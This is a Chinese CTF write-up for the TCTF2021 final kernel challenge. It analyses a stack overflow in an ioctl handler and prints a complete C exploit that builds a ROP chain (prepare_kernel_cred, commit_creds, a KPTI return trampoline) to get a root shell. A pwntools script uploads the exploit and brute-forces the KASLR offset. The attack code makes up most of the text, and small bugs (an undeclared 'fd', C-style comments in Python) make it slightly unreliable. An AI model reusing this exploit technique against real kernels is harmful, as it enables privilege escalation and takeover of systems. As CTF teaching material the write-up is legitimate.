TCTF2021-FINAL
难度因该是目前做的最简单的,主要是理解下kernel的kaslr爆破和远程exp如何编写。
题目分析
发现开启了kpti
1 2
| /start.sh cat /sys/devices/system/cpu/vulnerabilities/*
|

再看下start.sh,开启了SMAP,SMEP,KASLR,但是-drive file=flag.txt,format=raw \ 将flag.txt文件作为原始磁盘镜像,在/dev/sda中,cat /dev/sda,正常情况下flag.txt是全新先设为600(root可读),然后cat /root/flag.txt
1 2 3 4 5 6 7 8 9 10 11 12 13
| stty intr ^] cd `dirname $0` timeout --foreground 300 qemu-system-x86_64 \ -m 256M \ -enable-kvm \ -cpu host,+smep,+smap \ -kernel bzImage \ -initrd initramfs.cpio.gz \ -nographic \ -monitor none \ -drive file=flag.txt,format=raw \ -snapshot \ -append "console=ttyS0 kaslr kpti quiet oops=panic panic=1"
|
IDA分析:
只有一个ioctl功能,a2要输入0x666,就先申请一个chunk,然后将内容写入,再传给stack。这时候就可以进行溢出了,可以看到v11距离rbp:0x112,所以返回地址写入0x112+0x8;但是题目开启了kaslr,这样我们没有办法泄露偏移地址, 但我们知道 kaslr 的随机化只有 9位,可以直接进行爆破
exp:
offset = (argv[1]) ? atoi(argv[1]) : 0;执行./exp a,则offeset=a,./exp,offeset=0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75
| #include <sys/types.h> #include <sys/ioctl.h> #include <stdio.h> #include <signal.h> #include <pthread.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <fcntl.h>
#define PREPARE_KERNEL_CRED 0xffffffff81090c20 #define COMMIT_CREDS 0xffffffff810909b0 #define POP_RDI_RET 0xffffffff81001619 #define SWAPGS_RET 0xffffffff81b66d10 #define IRETQ_RET 0xffffffff8102984b #define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0Xffffffff81c00df0
size_t user_cs, user_ss, user_rflags, user_sp; void saveStatus() { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); printf("Status has been saved."); }
void getshell() { if(!getuid()){ puts("SUCCESS"); system("/bin/sh"); } else{ exit(-1); } } int main(int argc, char ** argv, char ** envp) { char *buf; size_t *stack; int i; int chal_fd; size_t offset;
offset = (argv[1]) ? atoi(argv[1]) : 0; saveStatus(); buf = malloc(0x2000); memset(buf, 'A', 0x2000); i = 0;
stack = (size_t*)(buf + 0x102); stack[i++] = 0; // padding stack[i++] = 0; // rbp stack[i++] = POP_RDI_RET + offset; stack[i++] = 0; stack[i++] = PREPARE_KERNEL_CRED + offset; stack[i++] = COMMIT_CREDS + offset; stack[i++] = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 22 + offset; stack[i++] = 0; stack[i++] = 0; stack[i++] = (size_t) getshell; stack[i++] = user_cs; stack[i++] = user_rflags; stack[i++] = user_sp; stack[i++] = user_ss; ((unsigned short *)(buf))[0] = 0x112 + i * 8;
fd = open("/proc/core", O_RDWR); //读写模式 ioctl(fd, 0x666, buf);
return 0; }
|
远程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| from pwn import * import base64 context.log_level = "debug"
with open("./exp", "rb") as f: exp = base64.b64encode(f.read()) //二进制exp文件转换为base64编码,确保能够正确传输
p = process('./run.sh') #remote("127.0.0.1", 1234)
//连接
try_count = 1 while True: p.sendline() p.recvuntil("~ $") //等待进入内核系统 count = 0 for i in range(0, len(exp), 0x200): p.sendline("echo -n \"" + exp[i:i + 0x200].decode() + "\" >> b64_exp") count += 1 //将exp传入,每次传输200怕太大了出问题 for i in range(count): p.recvuntil("~ $") p.sendline("cat b64_exp | base64 -d > ./exploit") //base64回到原来的exp p.sendline("chmod +x ./exploit") randomization = (try_count % 1024) * 0x100000 p.sendline("./exploit " + str(randomization)) //运行exp并传递偏移参数 if not p.recvuntil(b"Rebooting in 1 seconds..", timeout=60): break //成功:没有看到重启信息 try_count += 1
log.success('success to get the root shell!') p.interactive()
|